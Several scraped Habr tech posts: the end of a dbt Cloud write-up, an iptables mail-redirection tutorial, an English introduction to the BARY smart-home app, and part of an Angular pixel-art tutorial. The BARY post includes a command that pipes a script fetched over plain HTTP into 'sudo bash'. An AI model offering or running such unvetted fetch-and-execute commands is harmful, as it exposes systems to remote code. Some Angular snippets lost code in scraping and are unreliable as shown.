VACUUM + ANALYZE### Running in production: используем dbt Cloud в Wheely
[dbt Cloud](https://www.getdbt.com/product/) это платный сервис для управления проектами, основанными на движке dbt. За небольшие деньги команда получает возможность создавать окружения, конфигурировать джобы и таски, устанавливать расписание запусков, и даже полноценную IDE (среду разработки!) в браузере.
Прежде всего речь идет об удобстве использования: приятный и понятный визуальный интерфейс, простота поиска и ориентирования, акцентирование ключевой информации при разборе ошибок и чтении логов:
Во-вторых, это гибкие настройки условий запуска джобов. Начиная от простых условий с выбором дня недели и времени, продолжая кастомными cron-выражениями, и заканчивая триггером запуска через webhook. Например, именно через вебхук мы связываем в цепочку завершение выгрузок для кросс-сверки и начало расчета соответствующих витрин в Хранилище (kicked off from Airflow):
В третьих, это консолидация всех важных уведомлений одном месте. Для нашей команды это канал в Slack и любые проблемы связанные с Production-запусками. В режиме реального времени мы получаем все уведомления об инцидентах с деталями и ссылками на подробный лог.
Сам dbt является проектом с открытым исходным кодом, и использование продукта dbt Cloud представляется очень удобным, но не обязательным. В качестве альтернативных способов можно выбрать любой другой оркестратор: *Airflow*, *Prefect*, *Dagster*, и даже просто *cron*. В своем проекте [Сквозная Аналитика](https://habr.com/ru/post/538106/) я организую оркестрацию при помощи *Github Actions*. Выходит очень занятно.
### Вместо заключения
В команде аналитики Wheely мы стремимся к тому, чтобы работа была наполнена смыслом и приносила удовлетворение и пользу, но не раздражение и негодование. Все перечисленные в публикации достоинства не могут не вызвать симпатию со стороны новых членов команды и значительно ускоряют процессы адаптации и *onboarding*.
Сегодня бизнес и команда активно растут. Доступен ряд интересных позиций: [Head of Data Insights](https://wheely.com/ru/careers/4425384003), [Product Analyst](https://wheely.com/ru/careers/4425328003). У тебя есть возможность узнать детали из первых уст и получить прямую рекомендацию.
Также время от времени я провожу вебинары и выступления, на которых подробнее рассказываю о своей работе и проектах. Следить за моими публикациями можно в телеграм-канале Technology Enthusiast – <https://t.me/enthusiastech>
Пишите, задавайте вопросы и, конечно, пробуйте dbt в своих проектах! | https://habr.com/ru/post/549614/ | null | ru | null |
# Прозрачное перенаправление почты через iptables
Заголовок можно продолжить:… *или плавный перевод почты на другой сервер*.
Недавно встала задача — реализовать возможность использования почтового сервера, не имеющего прямого выхода в интернет. Причем работать он должен вместо старого, который работает, естественно под другим IP-адресом.
Принципиальный момент — почта изначально хранилась на шлюзе. Настройку iptables будем производить на шлюзе, iptables на почтовом сервере настраивать не нужно.
**Исходные данные:**
сервер — CentOS 5
192.168.0.3 — ай-пи почтового сервера
192.168.0.1 — внутренний ай-пи адрес бывшего почтового сервера/шлюза
199.199.199.199 — ай-пи адрес бывшего почтового сервера/шлюза
eth0 — локальный интерфейс на шлюзе
eth1 — внешний интерфейс на шлюзе
Настройка сетевого интерфейса на почтовом сервере:
ip-адрес: 192.168.0.3
маска: 255.255.255.0
шлюз: 192.168.0.1
Перенаправлять будем IMAP (143 порт), SMTP (25 порт).
Перейдем непосредственно к реализации:
**1. Прием почты**
1.1.1
# Все то, что пришло на внутренний интерфейс по почтовым портам — перенаправляем
```
iptables -t nat -A PREROUTING -i eth0 -p tcp -d 192.168.0.3 --dport 25 -j DNAT --to-destination 192.168.0.3:25
iptables -t nat -A PREROUTING -i eth0 -p tcp -d 192.168.0.3 --dport 143 -j DNAT --to-destination 192.168.0.3:143
```
1.1.2
# Все то, что пришло на внешний интерфейс по почтовым портам — перенаправляем
```
iptables -t nat -A PREROUTING -i eth1 -p tcp -d 199.199.199.199 --dport 143 -j DNAT --to-destination 192.168.0.3:143
iptables -t nat -A PREROUTING -i eth1 -p tcp -d 199.199.199.199 --dport 25 -j DNAT --to-destination 192.168.0.3:25
```
1.2
# Меняем исходный IP-адрес клиента на IP-адрес шлюза.
# Очень важно делать SNAT только для компьютеров в локальной сети, иначе RBL проверки при приеме почты работать не будут,
# так как вообще все будет приниматься с одного IP-адреса. Это плохо еще и тем, что нельзя ввести ограничение на количество
# соединений с одного IP-адреса.
```
iptables -t nat -A POSTROUTING -o eth0 -p tcp -s 192.168.0.0/24 -d 192.168.0.3 --dport 25 -j SNAT --to-source 192.168.0.1
iptables -t nat -A POSTROUTING -o eth0 -p tcp -s 192.168.0.0/24 -d 192.168.0.3 --dport 143 -j SNAT --to-source 192.168.0.1
```
1.3
# Разрешаем проброс портов после перенаправления портов на шлюзе
```
iptables -A FORWARD -p tcp -d 192.168.0.3 --dport 143 -j ACCEPT
iptables -A FORWARD -p tcp -d 192.168.0.3 --dport 25 -j ACCEPT
```
**2. Отправка почты**
2.1
# Разрешаем отправку почты с почтового сервера
```
iptables -A FORWARD -s 192.168.0.3 -j ACCEPT
```
2.2
# В интернет отправляем пакеты, естественно, только с одного IP-адреса
```
iptables -t nat -A POSTROUTING -o eth1 -j SNAT --to-source 199.199.199.199
```
Не забываем об обязательном условии
/etc/sysctl.conf:
net.ipv4.ip\_forward = 1
Напоследок, подробная схема работы iptables.
**Дополнение.**
Естественным желанием является унификация доменных имен для настройки почтовых клиентов.
Так чтобы настройка почтового клиента вне офиса не отличалась от настройки внутри офиса.
Тем более что в новой версии Thunderbird (преимущественно которой мы пользуемся) появился мастер автоматического определения SMTP, POP, IMAP серверов для настраиваемой учетной записи.
Ориентироваться будем на общепринятые имена:
imap.mydomain.ru
smtp.mydomain.ru
mx запись для домена
Нам нужно настроить записи для домена 2 раза — для самого домена в админке доменного имени и в DNS в локальной сети.
Рассмотрим настройку записей на DNS-сервере в локальной сети.
В named.conf добавляем:
```
view "internal"
{
match-clients { localnets; };
match-destinations { localnets; };
....
zone "mydomain.ru" IN {
type master;
file "master/mydomain.ru";
allow-update { 127.0.0.1; 192.168.0.1; };
};
};
```
Создаем master/mydomain.ru:
```
$ORIGIN .
$TTL 259200 ; 3 days
mydomain.ru IN SOA ns.mydomain.ru. root.mydomain.ru. (
23840 ; serial
10800 ; refresh (3 hours)
900 ; retry (15 minutes)
604800 ; expire (1 week)
86400 ; minimum (1 day)
)
NS ns.mydomain.ru.
$ORIGIN mydomain.ru.
@ IN MX 10 mail.mydomain.ru.
ns A 192.168.0.1
mail A 192.168.0.3
imap CNAME mail
smtp CNAME mail
```
Проверяем при помощи nslookup. Всё! | https://habr.com/ru/post/99898/ | null | ru | null |
# How to make your home ‘smart’ without going crazy
Smart furniture, which keeps your house in order, is a must for almost any futuristic set. In fact, an auto-regulating climate, automatic lights and voice control over household devices — all this can be done and configured now. But it will take a little experience, basic knowledge of technology and sometimes programming, as well as a whole sea of fantasy. In my case, I did in the way that just fantasy will be enough, but first things first…
 I became interested in the idea of a “smart home” about five years ago. I made the simplest system at first. It controlled lights in my hallway and bathroom via motion sensor, the air drawing via humidity sensor, and also the weather station — everyone was crazy about them at that time. Every self-respecting DIY enthusiast had to make a weather station.
First of all, I equipped the apartment with a controlled relay to automatically turn on the light in the corridor and bathroom. It was simple — I had one sensor in the hallway, and one in the bathroom.
If someone went to the bathroom, then the corridor sensor would detect movement and immediately turn on the lights in the hallway and in the bathroom. At the same time, if no one entered the bathroom, the sensor inside the bathroom would indicate that and 15 seconds after the lights would turn off. If someone entered the bathroom, the hallway lights would turn off in a minute.
I also thought about cases such as if someone was too preoccupied with his own thoughts while sitting on a “white throne” in the bathroom (I had a combined bathroom). For this, the light in the bathroom was divided into two groups. One turned off 3 minutes after the sensor in the bathroom stopped detecting movements, and the other group would do the same 5 minutes later. So if you sit motionless for more than 5 minutes the light would turn off. Very disciplining. However, you could always move your hand and continue your thought journey.
The bathroom also had a humidity sensor, which would automatically start the air drawing if humidity exceeded 50%. As soon as the room was ventilated to 45% humidity, the drawer would turn off.
All this was management (or rather tried to be) through the Arduino platform.
Almost immediately, it became clear to me that this platform was not all about creating a smart home. The main disadvantage of working with Arduino was that the platform worked without using the network, and without it, no truly unified ecosystem could be created. Of course, I could add network support, but why do so? I’ve made an easy choice and changed the platform to another.
Having played enough with Arduino, I reconnected the house to the ESP-8266 board. In fact, this is the same Arduino, but with Wi-Fi support + it is more compact in size. This module is still popular among smart home gadget manufacturers.
In parallel, I tried to make the smart home even smarter. For example, I solved the problem of 24 hours underfloor heating or an always-on air conditioner. I bought a Chinese Beok Wi-Fi thermostats in order to do this. They allowed me to turn off the floor heating remotely, but I had to do it through a dedicated phone app.
I solved the problem of remote controls for the air conditioner using the Broadlink RM Pro infrared signal emulator. Nothing too complicated here: you record a signal from the air conditioning remote controller (or it can be any device with remote controls) to the emulator, and so when you press a button in the application, the emulator plays the previously recorded signal. In this case with my air conditioner, I had the opportunity to turn it on and off, set the operation mode and set other parameters remotely.
I also installed Livolo switches. With their help, I could also turn the lights on and off remotely.
On the contrary: I had to install a separate application again for control, and it had no feedback, so that I could not see whether the light was on, and if it was manually turned on/off by someone using a conventional switch.
My smart home also grew with various controlled Wi-Fi relays such as Sonoff or Tuya, and even the expensive Danalock for locking the apartment, which also required a separate application. I bought almost all of those little things (except Danalock) on Aliexpress, where they only cost a penny, which allowed me to experiment without serious investments.
One of the first relatively serious purchases was the Tion breezer. It coped with automatic CO2 control more or less, but the temperature had to be constantly adjusted throughout the winter. And again — it required a separate application.
I can’t even remember all the sensors and controllers that I tried back then. My smartphone was clogged with apps to manage them all. It was like a zoo, which you had to look after. I tried to combine these applications through all sorts of aggregators like HomeBridge / MajorDomo, etc. But all of them came with significant shortcomings:
* Unfriendly, and sometimes just terrible UI
* Lack of support
* Complex connection
The search for an ultimate application for centralized management for such a number of sensors, controllers and other systems had no success. Then I tried to tweak one of the «smart» devices — the very Tion breezer. I wrote a script to automatically control the heating depending on the room temperature. The fact is that the ventilation system did not have an automatic heating adjustment. It turned out that the room was either super-hot or super-cold. There was no way to hit the sweet spot. This problem was solved with a script.
Success with my script for the breezer prompted me to create my own application for smart home management. The main goal was to create a program with convenient integration of smart devices, multi-level automation conditions and the ability to manage all devices in the house.
For about a year, I myself was engaged in application development both on the front- and back-end.
The server side is on NodeJS. The choice was made in favor of NodeJS due to the developed community, which had implemented protocols for almost all devices on the market. The client part is on Angular (Ionic) and runs on Android / iOS. In general, a classic client-server architecture.
***For note:*** in the process of working on the application, I experienced a technical insight about the use of mixins when writing device drivers. I don’t know, maybe it seems elementary for everybody else, but it was a breath of fresh air for me.
I rewrote device drivers many times until I came up with something like this:
**Example of source code**
```
import {XiaomiSubdeviceV2} from '../xiaomi.subdevice.v2';
import {load_power} from '../capabilities/load_power';
import {power_plug} from '../capabilities/power_plug';
import {PowerPurpose} from '../../base/PowerPurpose';
import {Relay} from '../../base/types/Relay';
import {HomeKitAccessory} from '../../hap/HomeKitAccessory';
import {Lightbulb2Accessory} from '../../hap/Lightbulb2Accessory';
import {Yandex} from '../../yandex/Yandex';
import {YandexLightOrSwitch} from '../../yandex/YandexLightOrSwitch';
export class LumiPlug extends XiaomiSubdeviceV2.with(Relay, power_plug, load_power, PowerPurpose,
HomeKitAccessory, Lightbulb2Accessory,
Yandex, YandexLightOrSwitch) {
onCreate() {
super.onCreate();
this.model = 'Mi Smart Plug';
this.class_name = 'lumi.plug';
this.driver_name = 'Mi Smart Plug';
this.driver_type = 3;
this.parent_class_name = 'lumi.gateway';
}
getIcon() {
return 'socket';
}
}
```
The bottom line is that despite the variety of different devices, they all do the same and provide approximately the same information. Therefore, all the capabilities of the devices were put in separate mixins, which ultimately make up the final driver. For example, the application supports many devices that have the on / off function. It is taken out and put in a separate mixin to be used identically for all devices. Elementary, Watson!
This results in: drivers for new devices can be done fast and easy, because everything is standardized and there is no need to worry about further storage of the received information. For completely new protocols (which I did not have yet), mixins also base on existing ones. They receive device information and transmit it further. Such an approach allowed to reduce the amount of code by tens of times (initially each driver was a copy of a similar driver).
So gradually I went through all the circles of hell finishing back and the front ends. When the application became fairly tolerable to look at, I thought: why not share this with the public? I found project partners and assistants to bring the application to life.
First of all, it was necessary to make the design of the application. In order to do this, I had to turn to professional designers. I naively believed that it would take 3-4 months, but in the end the process dragged on. Despite the fact that the structure of the application did not change much from the original idea, literally everything had to be redone.
In parallel, not without the help from my project partners, I bought the most popular smart home devices and coded my application so that it could support these gadgets. Soon, however, it became clear that there would not be enough money for all smart devices, so we decided to ask the existing manufacturers for free test samples of their equipment. We were heard, and Wirenboard and MiMiSmart became the first serious suppliers.
So, together with the crew, I created a new application for smart home automation with a classic client-server architecture, available on any platform, with a convenient modern design. **[Meet the BARY \*.](https://bary.io)**
*\* The name did not come from Bari Alibasov, but from Barrymore the butler, from Arthur C. Doyle’s “The Hound of the Baskerville”, — your personal “smart butler”.*
What we have in result: a description with pretty pictures and cats
===================================================================
The main screen is a convenient dashboard that can view and manage the automated parameters in your rooms. Convenient is the key here, because in those applications that I tried myself the dashboards had to be configured manually. Not the most pleasant pastime activity.
You can divide your house into zones and rooms. Each room has different parameters: temperature, humidity, current electric power consumption, etc. (as well as selected actions). If we click on a room, we see a list of devices connected to it.
Here you can turn the device on/off, as well as check the main parameters. Switching to the device will give you a more detailed control with a full list of available functions.
All devices are connected using the same type of settings. For many devices there is a connection wizard. No configs for those who like it hot! Basically, it all comes down to specifying the IP address of your device (there is an auto search available for many devices). If the IP address suddenly changes — it's okay! The server will find it at the new address automatically.
There is integration with Apple HomeKit, it is used for voice control via Siri. All devices supported by BARY easily integrate with Apple HomeKit with just one click (hello HomeBridge lovers). Yandex Alice is also supported. And it turned out to be more friendly in terms of interface commands. For example, Siri does not want to close the curtains on the command «close the curtains», cannot set a certain volume value on TV, and so on. Yandex Alice is free of such quirks.
For the convenience of managing your territories, more automations have been implemented: perform actions when certain conditions are met. Logical, multilevel automation, i.e. you can do something like “Condition 1 and (Condition 2 or Condition 3)”. Everything in a reasonable and beautiful automation editor.
Personally, I myself have accumulated nearly a hundred of automations, and they are easy to find, everything is grouped by rooms and devices.
The app also supports scripting. Script is a set of actions performed after certain conditions are met. For my smart home, I only use the standard set:
My leaving/coming back home is implemented through Apple TV — it turns on/off automatically when everyone leaves/returns home. You come home and a sad TV host from the 1TV channel is already there to greet you. Isn’t that great?
Well, what is a smart home without the ability to look at your cat?
You can connect any camera that is capable of sending an RTSP stream.
I would also like to mention the statistics section. It turned out to be quite informative:
In the reference list, the red bar is the deviation from the average values for the last six months, the gray bar is the expense level within the average values.
The picture shows my statistics for September. It was cold, no heating was provided yet, so the heater was constantly on.
Also, statistics can be viewed for any connected device.
By the way, automation and statistics helped to cut electricity costs by more than 2 times.
All events that occur are stored and can be viewed.
Also on the main page there is a special tab that collects all of the selected main indicators.
By the way, water metering is implemented through the Xiaomi door/window sensor. To do this, solder the output from the pulse counter a special contact, and BARY will create a virtual counter, in which this sensor can be specified as source.
Architecture and security
=========================
The client-server exchange is encrypted using AES technology, and the server is located directly inside the automated room. In my opinion, this protects the system as much as possible from unwanted interventions.
If there is no white IP address, then you can use cloud. It will act as an intermediary, without the possibility of decoding commands, since the keys are on the server.
Where to get
============
The back end can run on almost any platform out there — thanks to NodeJS. For the most common platforms, we have prepared scripts that will do all the work automatically.
For Raspberry Pi based on Debian Stretch:
`wget -qO- "http://bary.io/install?setup" | sudo bash`
If someone would like to install on another platform, let us know and we will update the script. If you have any difficulties — you’re also welcome. We really need feedback.
The application is free and available on [Google Play](https://play.google.com/store/apps/details?id=io.bary) and [App Store](https://apps.apple.com/us/app/bary/id1460539463). Perhaps by the end of the year, the application will become paid.
Conclusion
==========
Why did I write this article for? The main goal is to get feedback from you.
Currently, the project is developing rapidly, and our entire team is working to support more equipment from the available on the market. Since I am not the only one working on the project, the tasks remain the same — to create the most convenient application that takes users demands seriously and solves the problems with self-installation of smart solutions for home.
We are open to dialogue on possible integrations and we are ready to implement equipment support from companies interested in partnership as soon as possible. You get a finished application so you do not waste time on software development. And we’d love to wided our range of supported devices for every taste and color. It’s a win-win for everybody.
Future plans and wishes
=======================
Currently, my team and I are actively developing a video storage unit. It will be possible to place videos in home storage or cloud. I think at the beginning of next year we can talk about our new release. Should there be an opportunity to playback the best cat moments, while you’re not at home?
Next year we are planning more integrations with various services: shopping and to-do list, calendar, etc. Everything you need is on one screen, — and everything in full view. Several turnkey projects have shown that this is very much in demand.
We are also planning to start production of controllers with preinstalled software for package solutions for smart home (currently the package solution «software + hardware» is available together with our partners [Wiren Board](https://wirenboard.com/ru/)).
It also supports Google Home and Amazon Alexa, with more to come!
By the way, if you are interested, you can see the list of supported devices (not complete) on [our website](https://bary.io/supported-devices), and if you did not find what you were looking for, feel free to ask in our [telegram group](https://ttttt.me/bary_io), you’re welcome!
We will be very grateful if you share what you are missing in existing applications and what functions you would like to add.
Thank you all for reading this article. Let's make our homes smarter together! | https://habr.com/ru/post/515484/ | null | en | null |
# Создаем приложение Art-pixel на Angular и Nest.js. Часть 2
Во второй части мы займемся созданием возможности сохранения рисунка, добавим возможность редактирования наших сохраненных рисунков, а также добавим возможность просмотра пользователем примеров работ, по которым при желании можно будет создавать такие же или лучше. Первую часть смотрим [здесь](https://habr.com/ru/post/647411/). Для начала создадим интерфейс наших данных, которые мы будем использовать при взаимодействии с базой данных.
**ng g i shared/interfaces/canvasPostnterface.interface.ts** и поместим в него:
```
export interface CanvasPostInterface {
_id?: string,
name: string;
image: string;
canvas: string | [];
}
```
Далее создадим сервис, реализующий классический CRUD, но перед этим создадим два вспомогательных элемента, а именно Базовый сервис от которого мы будем наследовать наш сервис и абстрактный класс методы которого мы будем реализовывать в нашем сервисе. Создаем наш родительский сервис **ng g s shared/services/root** со следующим кодом:
```
import { Injectable } from '@angular/core';
import { HttpClient } from '@angular/common/http';
import { environment } from 'src/environments/environment.dev';
@Injectable({
providedIn: 'root'
})
export class RootService {
protected apiUrl = с.apiUrl;
constructor(
protected http: HttpClient,
) { }
}
```
Не Забываем настроить environment, добавляем в environment/environment.dev.ts
**apiUrl: 'localhost/api'**
Создаем абстрактный класс в **shared/abstract/abstract-base-service.abstarct.ts**
```
import { Observable } from 'rxjs';
export abstract class AbstractBaseService {
public abstract getData(): Observable;
public abstract getDataById(): Observable;
public abstract update(): Observable;
public abstract create(): Observable;
public abstract destroy(): Observable;
}
```
Теперь создаем сервис **canvas-post** в котором мы должны реализовать все абстрактные методы и в котором нам будут доступны все свойства базового класса **ng g s shared/services/canvas-post,** пишем в canvas-post следующий код:
```
import { HttpHeaders } from '@angular/common/http';
import { Injectable } from '@angular/core';
import { Observable } from 'rxjs';
import { AbstractBaseService } from '../abstract/abstract-base-service.abstarct';
import { CanvasPostInterface } from '../interfaces/canvas-post.interface';
import { RootService } from './root.service';
@Injectable({
providedIn: 'root'
})
export class CanvasPostService extends RootService implements AbstractBaseService {
httpOptions = {
headers: new HttpHeaders({
'Content-Type': 'application/json',
}),
};
protected componentUrl = `${this.apiUrl}/Canvas`;
getData(): Observable {
return this.http.get(`${this.componentUrl}/canvas`);
}
getDataById(id: string): Observable {
return this.http.get(`${this.componentUrl}/${id}`);
}
update(data: CanvasPostInterface): Observable {
const body = { data };
return this.http.patch(`${this.componentUrl}/${data.\_id}`, body);
}
create(data: CanvasPostInterface): Observable {
return this.http.post(`${this.componentUrl}/create`, data,
this.httpOptions);
}
destroy(id: number): Observable {
return this.http.delete(`${this.componentUrl}/${id}`);
}
}
```
В дальнейшем у нас получится вот такая структура приложения:
После наших предыдущих приготовлений мы наконец-то реализуем возможность сохранения в базу данных наших рисунков по нажатию на кнопку “Сохранить в галерею”, для этого нам необходим создать обмен данными между компонентами, редактируем в **main-canvas.component.html** следующую строчку:
```
```
после того как мы добавили
```
(pagesEventSave)="getSaveCanvas($event)"
```
в **main-canvas.component.ts** добавляем метод **getSaveCanvas()** где мы вызываем метод create нашего сервиса CanvasPostService отвечаючего за сохранение в базу данных, в дальнейшем мы к нему вернемся, а пока он выглядит, так:
```
constructor(private canvasPostService: CanvasPostService) { }
getSaveCanvas(data: {}) {
this.canvasPostService.create(data as CanvasPostInterface)
.subscribe(respons=>{
})
}
```
в canvas.component.html добавляем кнопку Сохранить в галерею, после чего он он должен выглядеть, вот так:
```
Востановить рисунок
Задать пикселю цвет фона
Сохранить в галерею
```
**в canvas.component.ts** создаем метод save где с помощью метода pagesEventSave мы передаем данные в метод **getSaveCanvas()** компонента **main-canvas** в котором вызывается сервис сохранения данных в базу, после чего его код выглядит вот так:
```
@Output() pagesEventSave: EventEmitter<{}>=new EventEmitter<{}>();
//добавляем переменную name
name: string;
//в метод onResize() добавляем this.name = data.name;
onResize(data: any) {
this.name = data.name;
this.innerWidth = data.innerWidth;
this.innerHeight = data.innerHeight;
this.widthRect = data.widthRect;
this.heightRect = data.heightRect;
this.numberOf = data.numberOf;
this.borderRow = data.borderRow;
this.numberRow = data.numberRow;
this.canvas.width = this.innerWidth;
this.canvas.height = this.innerHeight
this.colorfillStyle = data.colorfillStyle;
this.cleardraw()
this.draw()
}
//создаем
save() {
const data = this.canvas?.toDataURL();
this.pagesEventSave.emit({image: data, name: this.name,
canvas: this.matr});
}
```
не забываем импортировать в app.module.ts модуль **HttpClientModule**
Сейчас если мы попробуем отправить данные мы получим ошибку, для избежания этого необходимо сериализовать наш массив **matr, для этого используем JSON.stringify()**
```
this.pagesEventSave.emit({ image: data, name: this.name, canvas: JSON.stringify(this.matr) });
```
После того как данные сериализованы, мы можем отправлять их на сервер.
**Добавляем слайдер.**
Для этого создаем компонент **ng g c canvas/components/slider**
Создаем в каталоге assets каталог images, скачиваем туда картинки
Добавляем в **slider.components.html**
```
❮
❯
```
Добавляем в **slider.components.ts**
```
import { Component, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-slider',
templateUrl: './slider.component.html',
styleUrls: ['./slider.component.scss']
})
export class SliderComponent implements AfterViewInit {
slideIndex = 1;
constructor(private elementRef: ElementRef) { }
ngAfterViewInit(): void {
this.showDivs(this.slideIndex);
}
plusDivs(n: number) {
this.showDivs(this.slideIndex += n);
}
showDivs(n: number) {
console.log(n)
let i;
let x = document.getElementsByClassName("mySlides");
if (n > x.length) {
this.slideIndex = 1
}
if (n < 1) { this.slideIndex = x.length }
for (i = 0; i < x.length; i++) {
(x[i] as HTMLElement).style.display = "none";
}
(x[this.slideIndex - 1] as HTMLElement).style.display = "block";
}
}
/*метод showDivs(n: number) можно реализовать несколькими способами
с помощью getElementsByClassName или с помощью @ElementRef
Напишем новый метод showDivsRef(n: number) где мы будем использовать
ElementRef
перед этим внедрим зависимость
constructor(private elementRef: ElementRef) { }
*/
showDivsRef(n: number) {
// использованием document.getElementsByClassName
let i;
let element = this.elementRef.nativeElement.getElementsByClassName("mySlides");
console.log(n, element)
if (n > element.length) {
this.slideIndex = 1
}
if (n < 1) { this.slideIndex = element.length }
if (element.length) {
for (i = 0; i < element.length; i++) {
element[i].style.display = "none";
}
element[this.slideIndex - 1].style.display = "block";
}
}
```
Добавляем в left-panel.component.html после
```
**Галерея примеров**
---
```
Смотрим на результат
**Реализуем сохранение рисунков для последующего редактирования.**
Для того, что бы у нас были данные без использования базы данных мы создадим Mock.service и модель фейковых данных canvas.modelMock.ts, полный код на [git](https://github.com/Gdymora/pixel-art) , а структура класса без данных выглядит, так:
```
export class InMemoryCanvasModel {
get data() {
return this._data;
}
_data = [
{
_id: ”61f0f9ad70c1c74fafc641f0”,
name: "love",
image: "love",
canvas: ['для экономии места данные на git'],
}];
}
```
Получать наши фейковые данные будет наш **canvas-post-mock.service.ts,** которым мы заменим в компоненте **main-canvas** наш сервисCanvasPostMockService
```
import { InMemoryCanvasModel } from '../models/mock/canvas.modelMock';
@Injectable({
providedIn: 'root'
})
export class CanvasPostMockService {
private readonly list;
private dataService: InMemoryCanvasModel;
constructor() {
this.dataService = new InMemoryCanvasModel();
this.list = this.dataService.data ;
}
getComponent(): Observable {
return of(this.list);
}
getData(): Observable {
return of();
}
getDataById(id: string): Observable {
return of();
}
update(data: CanvasPostInterface): Observable {
return of();
}
create(data: CanvasPostInterface): Observable {
return of();
}
destroy(id: number): Observable {
return of();
}
}
```
Немного переделаем наш слайдер, чтобы была возможность передавать массив данных наших редактируемых изображений **slide.component.html, что бы это выглядело так:**
```
❮
❯
```
Отредактируем **slide.component.ts**
```
//если данные не пришли значит берем эти данные
images: CanvasPostInterface[] = [
{ _id: '', canvas: [], name: "", image: "assets/images/1.webp" },
{ _id: '', canvas: [], name: "", image: "assets/images/2.webp" },
{ _id: '', canvas: [], name: "", image: "assets/images/3.webp" },
{ _id: '', canvas: [], name: "", image: "assets/images/4.webp" }
];
@Input() imageInput: any;
……./*Если пришли данные то перезаписываем наш массив*/
ngOnInit(): void {
if (this.imageInput) {
this.images = this.imageInput.map((data: any) => data.image)
}
}
```
Добавим в слайдер, галерею наших рисунков, для которых будет возможность редактирования **main-canvas.component.html**
```
Поле рисования
------------------
//используем pip async
---
```
Редактируем **main.canvas.component.ts** в дальнейшем сюда мы будем принимать наши рисунки из базы, а пока будем брать из фейковой модели:
```
//main.canvas.component.ts
canvasImg: Observable|undefined;
constructor(private canvasPostService: CanvasPostService) { }
ngOnInit(): void {
this.canvasImg = this.canvasPostService.getComponent();
}
```
центрируем рисунок в slider, для этого добавим в **slider.component.css немного стилей:**
```
.mySlides {
display:none;
}
img.center-block {
margin-left: auto;
margin-right: auto;
}
```
Вот, что у нас должно получится:
**Реализуем новую возможность рисования.**
Как то не очень удобно рисовать кликами, по этому давайте добавим **возможность закрашивать пиксели проводя над ними курсором**, для того, чтобы получалось красиво эта функция будет доступна только с зажатой левой клавишей мыши. Для этого мы будем отслеживать событие **mousemove**, а закрашивать только если **event.which** равно единице, то есть нажата левая клавиша. А что бы не обрамлять код в условие, мы будем использовать отрицательную логику, а именно если клавиша не нажата, то ничего не делаем.
```
//если клавиша не зажата выходим
if (event.which !== 1) {
return;
}
```
Вот, что у нас получится.
```
this.rendererRef = this.renderer.listen(this.canvasRef.nativeElement,
'mousemove', (event) => {
//если клавиша не зажата выходим
if (event.which !== 1) {
return;
}
let cX = event.offsetX;
let cY = event.offsetY;
const offsetLeft = this.canvasRef.nativeElement.offsetLeft;
const offsetTop = this.canvasRef.nativeElement.offsetTop;
this.canvasX = cX - offsetLeft;
this.canvasY = cY - offsetTop;
this.matr.data.map(data => {
if (cX >= data.x && cX < data.x + this.numberOf && cY >= data.y
&& cY < data.y + this.numberOf) {
this.ctx.fillStyle = this.colorRect;
this.ctx.fillRect(data.x, data.y, this.numberOf, this.numberOf);
data.color = this.colorRect;
}
})
this.canvasRef.nativeElement.getBoundingClientRect()
localStorage.setItem('matr', JSON.stringify(this.matr));
const data = this.canvas?.toDataURL();
});
```
Теперь у нас в двух местах появился дублирующий код, поэтому создадим дополнительный метод **eventOfset(event: MouseEvent)** и вынесем этот код туда.
```
eventOfset(event: MouseEvent) {
let cX = event.offsetX;
let cY = event.offsetY;
const offsetLeft = this.canvasRef.nativeElement.offsetLeft;
const offsetTop = this.canvasRef.nativeElement.offsetTop;
this.canvasX = cX - offsetLeft;
this.canvasY = cY - offsetTop;
this.matr.data.map(data => {
if (cX >= data.x && cX < data.x + this.numberOf && cY >=
data.y && cY < data.y + this.numberOf) {
this.ctx.fillStyle = this.colorRect;
this.ctx.fillRect(data.x, data.y, this.numberOf, this.numberOf);
data.color = this.colorRect;
}
})
this.canvasRef.nativeElement.getBoundingClientRect();
localStorage.setItem('matr', JSON.stringify(this.matr));
const data = this.canvas?.toDataURL();
}
```
Соответственно внесем изменения в **ngAfterViewInit():**
```
ngAfterViewInit() {
....
this.rendererRef = this.renderer.listen(this.canvasRef.nativeElement, 'click', (event: MouseEvent) => {
//добавили новый метод
this.eventOfset(event)
});
this.rendererRef = this.renderer.listen(this.canvasRef.nativeElement, 'mousemove', (event) => {
if (event.which !== 1) {
return;
}
//добавили новый метод
this.eventOfset(event);
});
}
```
Поскольку у нас несколько слайдеров, внесем некоторые дополнения которые помогут реагировать на событие только если это необходимо, ориентироваться будем на наличие данных создаем в **slider.component.ts** переменную **thereIsData = false**, если данные пришли, то меняем в ngOnInit() ее значение на **true**. Сразу же создадим метод **transferToСanvas()** который будет отвечать за передачу нашего рисунка **main-canvas**, а после на наш холст.
Для этого в main-canvas.component.html редактируем строку внедрения в app-slider и добавлем (pagesEventSlider)="dataSlider($event)", после чего это выглядит, так:
```
```
main-canvas.component.ts создаем метод dataSlider($event: {}) { //TODO }
в slider.component.ts добавляем
```
@Output() pagesEventSlider: EventEmitter<{}> = new EventEmitter<{}>();
```
и соответственно редактируем метод transferToCanvas:
```
transferToCanvas(canvas: any) {
if (!this.thereIsData) {
return;
}
this.pagesEventSlider.emit(canvas);
}
```
Теперь по клику наши данные приходят в родительский для слайдера и холста компонент **main-canvas.**
Далее в canvas.component.ts создаем метод **createTtransferToDataCanvas.**
```
/* Метод воссоздания рисуноков из базы */
createTtransferToDataCanvas(data: any) {
this.cleardraw()
this.matr = JSON.parse(data);
const matr = JSON.parse(data);
this.canvas.width = matr.innerWidth;
this.canvas.height = matr.innerHeight;
this.innerWidth = matr.innerWidth;
this.innerHeight = matr.innerHeight;
JSON.parse(data).data.map((data: any) => {
this.ctx.fillStyle = data.color;
this.ctx.fillRect(data.x, data.y, this.matr.numberOf,
this.matr.numberOf);
})
}
```
В этом же компоненте добавляем:
```
@Input() transferToDataCanvas: EventEmitter<{}>;
/*Добавляем подписку на наш transferToDataCanvas: EventEmitter
в ngOnInit()*/
ngOnInit(): void {
this.uploadSuccess.subscribe(data => {
this.onResize(data);
});
this.transferToDataCanvas.subscribe(data => {
this.createTtransferToDataCanvas(data);
});
}
```
Переходим в main-canvas.component.html и редактируем:
Переходим в **main-canvas.component.ts** создаем эмиттер:
```
import { Component, EventEmitter, OnInit } from '@angular/core';
import { FormGroup } from '@angular/forms';
import { Observable } from 'rxjs';
import { CanvasPostInterface } from 'src/app/shared/interfaces/canvas-post.interface';
import { CanvasPostMockService as CanvasPostService } from 'src/app/shared/services/canvas-post-mock.service';
